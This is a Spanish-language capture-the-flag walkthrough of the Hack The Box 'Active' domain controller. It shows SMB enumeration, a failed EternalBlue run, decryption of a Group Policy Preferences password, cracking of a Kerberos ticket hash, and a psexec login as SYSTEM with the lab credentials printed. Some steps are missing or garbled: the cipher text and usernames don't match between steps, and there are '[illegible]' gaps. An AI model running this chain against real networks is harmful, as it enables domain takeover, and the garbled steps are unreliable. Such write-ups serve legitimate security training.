



Ping inicial de reconocimiento:

```
(louker@loukerm)-[~]  
$ ping -c 3 10.10.10.100  
PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data.  
64 bytes from 10.10.10.100: icmp_seq=1 ttl=127 time=133 ms  
64 bytes from 10.10.10.100: icmp_seq=2 ttl=127 time=154 ms  
64 bytes from 10.10.10.100: icmp_seq=3 ttl=127 time=200 ms  
  
--- 10.10.10.100 ping statistics ---  
3 packets transmitted, 3 received, 0% packet loss, time 2002ms  
rtt min/avg/max/mdev = 132.797/162.462/200.095/28.046 ms
```

El nmap nos reporta el típico paripé de puertos abiertos de Windows, nada nuevo:

```

PORT      STATE SERVICE      REASON          VERSION
53/tcp    open  domain       syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-28 11:22:22Z)
135/tcp    open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp    open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp    open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp    open  microsoft-ds? syn-ack ttl 127
464/tcp    open  kpasswd5?    syn-ack ttl 127
593/tcp    open  ncacn_http   syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped   syn-ack ttl 127
3268/tcp   open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp   open  tcpwrapped   syn-ack ttl 127
49152/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49153/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49154/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49155/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49157/tcp  open  ncacn_http   syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49158/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49165/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

```

```

Service detection performed. Please report any incorrect results at https://nmap.org/about/submit/.
Nmap done: 1 IP address (1 host up) scanned in 83.74 seconds
Raw packets sent: 3337 (146.828KB) | Rcvd: 2377 (95.272KB)

(jouker@joukern) ~
$ netexec smb 10.10.10.100 -u '' -p ''
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [*] active.htb:

```

Obviamente, canta de que no es vulnerable a un eternal blue, pero esto simplemente forma parte de la enumeración, no por el hecho de que estemos haciendo una máquina que no tiene nada que ver con eternalblue, lo debemos descartar.

```

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RPORTS 10.10.10.100
[!] Unknown datastore option: RPORTS. Did you mean RPORT?
RPORTS => 10.10.10.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.16.6
LHOST => 10.10.16.6
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.16.6:4444
[*] 10.10.10.100:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.10.10.100:445 - An SMB Login Error occurred while connecting to the IPC$ tree.
[*] 10.10.10.100:445 - Scanned 1 of 1 hosts (100% complete)
[-] 10.10.10.100:445 - The target is not vulnerable.
^C[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_eternalblue) >

```

En el momento de enumeración antes de listar los shares, recomiendo el uso de herramientas como enum4linux y el RPCCLIENT en modo null session a ver si podemos llegar a sacar usuarios.

```
(jouker@joukerm)-[~]
$ rpcclient 10.10.10.100 -U '' -N
rpcclient $> enumdomusers
do_cmd: Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> █
```

```
(jouker@joukerm)-[~]
$ enum4linux 10.10.10.1000
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Mar 28 12:32:44 2025
===== ( Target Information ) =====
```

```
===== ( Share Enumeration on 10.10.10.100 ) =====
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC       Remote IPC
NETLOGON       Disk      Logon server share
Replication    Disk
SYSVOL         Disk      Logon server share
Users          Disk

Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.10.100

//10.10.10.100/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/C$ Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/IPC$ Mapping: OK Listing: DENIED Writing: N/A
//10.10.10.100/NETLOGON Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/Replication Mapping: OK Listing: OK Writing: N/A
//10.10.10.100/SYSVOL Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/Users Mapping: DENIED Listing: N/A Writing: N/A
```

Miramos compartidos con netexec:

```
(jouker@joukerm)-[~]
$ netexec smb 10.10.10.100 -u '' -p '' --shares
[*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
[*] active.htb\
[*] Enumerated shares

Share      Permissions      Remark
-----
ADMIN$     Remote Admin
C$         Default share
IPC$       Remote IPC
NETLOGON   Logon server share
Replication READ             Logon server share
SYSVOL
Users
```

Recordemos otras herramientas por si acaso no tenemos disponible netexec:

[illegible]

Con `-r` podríamos ir moviéndonos entre directorios pero realmente `smbmap` sirve para listar bien los permisos de los recursos, no para moverse entre directorios y archivos por lo que esta parte lo vamos a hacer con `smbclient`

[illegible]

```
smb: \\active.htb\Polices\{31B2F340-616D-11D2-945F-00C04FB984F9}\MACHINE\Preferences> cd Groups
smb: \\active.htb\Polices\{31B2F340-616D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups> dir
.                D                0      Sat Jul 21 12:37:44 2018
..               D                0      Sat Jul 21 12:37:44 2018
Groups.xml       A                533   Wed Jul 18 22:46:06 2018

5217023 blocks of size 4096, 283797 blocks available
smb: \\active.htb\Polices\{31B2F340-616D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups> get Groups.xml
getfile: file \\active.htb\Polices\{31B2F340-616D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (0,8 KiloBytes/sec) (average 0,8 KiloBytes/sec)
smb: \\active.htb\Polices\{31B2F340-616D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups> ^C

[jouker@jouker ~]$ ls -lt | head -n 4
total 23612
-rw-r--r-- 1 jouker jouker      533 mar 28 12:30 Groups.xml
-rw-r--r-- 1 root   root      2704 mar 28 12:23 escanet.txt
drwxr-xr-x 2 jouker jouker     4096 mar 26 20:40 temporal

[jouker@jouker ~]$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{31259377-E916-4bdc-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9DD0F90A140}" name="active.htb\SVGC_F66" image="32" changed="2010-07-10-20:16:06" uid="{EF57DA20-5F69-4530-A50E-AAB85878219D}"><Properties action="U" newName="" fullName="" description="" password="edBSH0whZLTjt/Q59fclC6j3rW9A9gm9guKh0jdccah+ZGMeX0sQBcPz3xuJTLfCuNH8pG5a5VYdYw/NglVm" 0" changeLogon="0" noChange="1" neverExpires="1" acctDisabed="0" userName="active.htb\SVGC_F66"></User>
</Groups>
```

GPPDESCRYPT. Microsoft hace tiempo publico la clave AES y en este caso nos sirve para quitarle el hacer decrypt del password que hemos obtenido hoy

```
No VM guests are running outdated hypervisor (qemu) binaries on this host.
```

```
(jouker@joukerm)-[~]  
$ gpp-decrypt edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ  
GPPstillStandingStrong2k18  
  
(jouker@joukerm)-[~]  
$
```

```
jouker@jouker~[~]
netexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstllStandingStrong2k18' --shares

[*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing=True) (SMBv1=False)
[*] active.htb\SVC_TGS:GPPstllStandingStrong2k18
[*] Enumerated shares

Share      Permissions    Remark
-----
ADMIN$     Remote Admin   Default share
C$         Remote IPC     Logon server share
IPC$       Logon server share
NETLOGON   READ           Replication
Replication READ           SYSVOL
SYSVOL     READ           Users
Users      READ
```

Básicamente el directorio compartido users era el directorio donde representa la C del equipo y de ahí hemos sacado la flag de user



# Crackeado

```
jouker@joukerm:~$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:17 DONE (2025-03-28 12:52) 0.05636g/s 594009p/s 594009c/s 594009C/s Tiffani1432..Thurman16
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

(jouker@joukerm)-[~]
$
```

```
(jouker@joukerm)-[~]
$ netexec smb 10.10.10.100 -u 'administrator' -p 'Ticketmaster1968'
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb/administrator:Ticketmaster1968 (Pwn3d!)
```

```
$ impacket-psexec administrator:Ticketmaster1968@10.10.10.100
Impacket v0.13.0.dev0+20250220.93348.6315ebd5 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file FgNoHnSH.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service yPUN on 10.10.10.100.....
[*] Starting service yPUN.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

cC:\Windows\system32>cd ..

C:\Windows> cd ..

C:\> cd users

C:\Users> cd administrator

C:\Users\Administrator> cd Desktop
The system cannot find the path specified.

C:\Users\Administrator> cd Desktop

C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 15BB-D59C

Directory of C:\Users\Administrator\Desktop
```